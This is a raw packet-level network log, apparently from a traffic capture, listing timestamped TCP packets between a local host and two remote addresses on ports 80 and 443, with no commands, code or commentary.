Nov 28, 2024 02:27:19.174163103 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.175156116 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.175240993 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.177460909 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.177480936 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.177545071 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.177556992 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.177557945 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.177598000 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.178489923 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.178503036 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.178576946 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.181813955 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.181873083 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.186369896 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.186395884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.186434031 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.186439991 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.186466932 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.186486006 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.187457085 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.187485933 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.187546015 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.187557936 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.187587023 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.187587023 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.195550919 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.195615053 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.195653915 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.195677042 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.195679903 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.195708990 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.195750952 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.195750952 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.196326017 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.196346998 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.196408987 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.196408987 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.196419001 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.196466923 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.203459024 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.203620911 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.203768969 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.203859091 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.204216003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.204274893 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.204441071 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.204505920 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.206759930 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.206907988 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.207073927 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.207133055 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.208508968 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.208554029 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.208570004 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.208586931 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.208599091 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.208625078 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.209301949 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.209372997 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.209669113 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.209734917 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.213412046 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.213484049 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.214431047 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.214524984 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.215189934 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.215298891 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.216316938 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.216393948 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.217268944 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.217377901 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.217833996 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.217905045 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.219665051 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.219738960 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.219943047 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.220046997 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.222258091 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.222359896 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.222500086 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.222579956 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.224805117 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.224906921 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.250749111 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.250813007 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.250847101 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.250860929 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.250876904 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.250901937 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.268866062 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.268896103 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.268948078 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.268958092 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.268979073 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.269037008 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.285429955 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.285470009 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.285531998 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.285531998 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.285540104 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.285609007 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.290783882 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.290817022 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.290860891 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.290868998 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.290879011 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.290910959 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.293807983 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.293823004 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.293909073 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.294917107 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.294930935 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.294997931 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.298280001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.298372984 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.300438881 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.300498962 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.301496983 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.301709890 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.302647114 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.302687883 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.302727938 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.302741051 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.302752972 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.302783966 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.303591967 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.303663015 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.304611921 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.304673910 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.306809902 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.306873083 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.306891918 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.306900978 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.306926966 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.306969881 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.307697058 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.307709932 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.307781935 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.309761047 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.309815884 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.310749054 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.310796976 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.313736916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.313828945 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.314728975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.314793110 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.317667007 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.317679882 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.317770958 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.318723917 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.318746090 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.318829060 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.318829060 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.318836927 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.318878889 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.320569038 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.320631981 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.321513891 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.321567059 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.323436022 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.323447943 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.323503017 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.323503017 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.327207088 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.327220917 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.327275038 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.328077078 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.328162909 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.329004049 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.329047918 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.330931902 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.330991030 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.331036091 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.331276894 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.331327915 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.331609964 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.331635952 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.331690073 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.331690073 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.331723928 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.331769943 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.331825018 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.331825018 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.331832886 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.331870079 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.335186958 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.335200071 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.335285902 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.338742018 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.338756084 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.338793039 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.338821888 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.339684010 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.339704990 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.339740992 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.339747906 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.339801073 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.339801073 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.341368914 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.341473103 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.342215061 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.342322111 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.344831944 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.344846010 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.344937086 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.347474098 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.347577095 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.348330021 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.348403931 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.351089954 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.351114988 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.351208925 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.351219893 CET	443	49732	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.351239920 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.351284981 CET	49732	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.352674961 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.352761984 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.353130102 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.353712082 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.354094982 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.354120970 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.354166985 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.354173899 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.354201078 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.354227066 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.356623888 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.356637001 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.356692076 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.356692076 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.359311104 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.359446049 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.360114098 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.360186100 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.361100912 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.361141920 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.361217976 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.361217976 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.361229897 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.361339092 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.361857891 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.361880064 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.361929893 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.365365028 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.365426064 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.365447998 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.365535021 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.365535021 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.365535021 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.365544081 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.365586042 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.366226912 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.366341114 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.370605946 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.370620012 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.370677948 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.373673916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.374041080 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.374511003 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.374572039 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.377146006 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.377228022 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.377973080 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.378024101 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.379024029 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.379072905 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.379089117 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.379095078 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.379143000 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.381498098 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.381511927 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.381577969 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.383265972 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.383332014 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.384113073 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.384207010 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.385968924 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.385993004 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.386050940 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.386059999 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.386081934 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.386115074 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.386745930 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.386759996 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.387172937 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.389354944 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.389368057 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.389468908 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.391201973 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.391226053 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.391295910 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.391303062 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.391318083 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.391343117 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.392424107 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.392436981 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.392637968 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.395029068 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.395080090 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.395893097 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.396028996 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.398513079 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.398528099 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:19.398663044 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:19.403902054 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.403929949 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.403975964 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.403996944 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.404022932 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.404042959 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.408210039 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.408235073 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.408283949 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.408292055 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.408334970 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.408334970 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.409935951 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.409956932 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.410072088 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.410079002 CET	443	49733	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.410129070 CET	49733	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.419138908 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.419153929 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.419190884 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.419229984 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.419305086 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.419310093 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.419359922 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.419982910 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.420011044 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.420047045 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.420053005 CET	443	49731	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.420092106 CET	49731	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.424303055 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.424323082 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.424407959 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.424421072 CET	443	49734	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:19.424432039 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.424467087 CET	49734	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:19.427825928 CET	443	49733	150.171.27.10	192.168.2.6
